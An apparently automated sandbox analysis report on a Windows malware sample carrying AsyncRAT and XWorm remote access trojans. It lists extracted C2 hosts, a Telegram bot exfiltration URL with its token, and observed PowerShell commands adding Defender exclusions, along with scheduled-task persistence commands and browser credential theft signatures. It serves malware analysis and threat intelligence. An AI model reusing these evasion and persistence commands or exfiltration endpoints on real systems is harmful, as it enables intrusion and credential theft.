Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2024, 03:51

General

  • Target
    117efcf6a3a3af167c293331a7531a46.exe
  • Size 714KB
  • Sample240504-eegx5sce21
  • SHA256 4eedc7ed6ade620eef8eb160d18518afc9c59eb262baf8a9fdbe758fb611b6f0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • | Edit 3LOSH RAT

Botnet
  • Default

C2
  • 127.0.0.1:6606

  • 127.0.0.1:7707

  • 127.0.0.1:8808

  • 45.61.150.201:6606

  • 45.61.150.201:7707

  • 45.61.150.201:8808

  • beshomandotestbesnd.run.place:6606

  • beshomandotestbesnd.run.place:7707

  • beshomandotestbesnd.run.place:8808

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_file

    mstc.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 127.0.0.1:7000

  • 45.61.150.201:7000

  • beshomandotestbesnd.run.place:7000

Mutex
  • yolgBkNEg1jvKfWQ

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 3 IoCs
  • Detect ZGRat V1 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\117efcf6a3a3af167c293331a7531a46.exe
    "C:\Users\Admin\AppData\Local\Temp\117efcf6a3a3af167c293331a7531a46.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:780
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\117efcf6a3a3af167c293331a7531a46.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2348
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\AAkXVY.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2616
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AAkXVY" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3765.tmp"
      2⤵
      • Creates scheduled task(s)
      PID:2664
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
        PID:2508
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Users\Admin\AppData\Roaming\456.exe
          "C:\Users\Admin\AppData\Roaming\456.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2940
        • C:\Users\Admin\AppData\Roaming\1235.exe
          "C:\Users\Admin\AppData\Roaming\1235.exe"
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\1235.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1235.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1788
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2384
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:384
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
            4⤵
            • Creates scheduled task(s)
            PID:3008
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {0AAE52E3-5E1A-4D82-AEA1-5267C6D3CB14} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2608
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2584
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2744

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          94308059B57B3142E455B38A6EB92015

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
          • Size 68KB
          • SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
          • MD5 SHA1 SHA512 SSDEEP

          TarC5E3.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\TarC5E3.tmp
          • Size 177KB
          • SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
          • MD5 SHA1 SHA512 SSDEEP

          tmp3765.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\tmp3765.tmp
          • Size 1KB
          • SHA256 18c9a5770e80d2a59289bed44f44f1cece24df8976267d7e8207eb482e3bb3f7
          • MD5 SHA1 SHA512

          590aee7bdd69b59b.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 7KB
          • SHA256 1f9c36e5f71276ebce03efa6d85b30148309b26a28fb5c18d80ddc17d4fadfde
          • MD5 SHA1 SHA512 SSDEEP

          d93f411851d7c929.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
          • Size 7KB
          • SHA256 4ed3192cb18e2af488883495c3aabcced333909b37688285b4718deebe1fbfdc
          • MD5 SHA1 SHA512 SSDEEP

          1235.exe

          • Path \Users\Admin\AppData\Roaming\1235.exe
          • Size 45KB
          • SHA256 43c64c73dd3c842f74cab39fa0cc143257153526bcf1082d342b49b646aa092f
          • MD5 SHA1 SHA512 SSDEEP

          456.exe

          • Path \Users\Admin\AppData\Roaming\456.exe
          • Size 63KB
          • SHA256 88ed39de9e35cc70b974169312d2cce08c56f113fe617cbbd196842b9ff290c2
          • MD5 SHA1 SHA512 SSDEEP

          memory/780-0-0x0000000073F6E000-0x0000000073F6F000-memory.dmp

          memory/780-5-0x0000000005040000-0x00000000050B8000-memory.dmp

          memory/780-4-0x0000000000760000-0x0000000000776000-memory.dmp

          memory/780-3-0x00000000005B0000-0x00000000005C6000-memory.dmp

          memory/780-2-0x0000000073F60000-0x000000007464E000-memory.dmp

          memory/780-1-0x0000000000E30000-0x0000000000EE8000-memory.dmp

          memory/780-32-0x0000000073F60000-0x000000007464E000-memory.dmp

          memory/944-53-0x0000000001D90000-0x0000000001D98000-memory.dmp

          memory/944-52-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

          memory/1760-21-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-27-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-18-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-24-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-26-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

          memory/1760-30-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-28-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1760-22-0x0000000000400000-0x0000000000434000-memory.dmp

          memory/1788-60-0x0000000002290000-0x0000000002298000-memory.dmp

          memory/1788-59-0x000000001B630000-0x000000001B912000-memory.dmp

          memory/2112-46-0x0000000000AB0000-0x0000000000AC2000-memory.dmp

          memory/2384-66-0x000000001B680000-0x000000001B962000-memory.dmp

          memory/2384-67-0x0000000001F70000-0x0000000001F78000-memory.dmp

          memory/2584-119-0x0000000000D10000-0x0000000000D22000-memory.dmp

          memory/2940-90-0x0000000006570000-0x0000000006650000-memory.dmp

          memory/2940-91-0x0000000000520000-0x0000000000544000-memory.dmp

          memory/2940-45-0x0000000000C50000-0x0000000000C66000-memory.dmp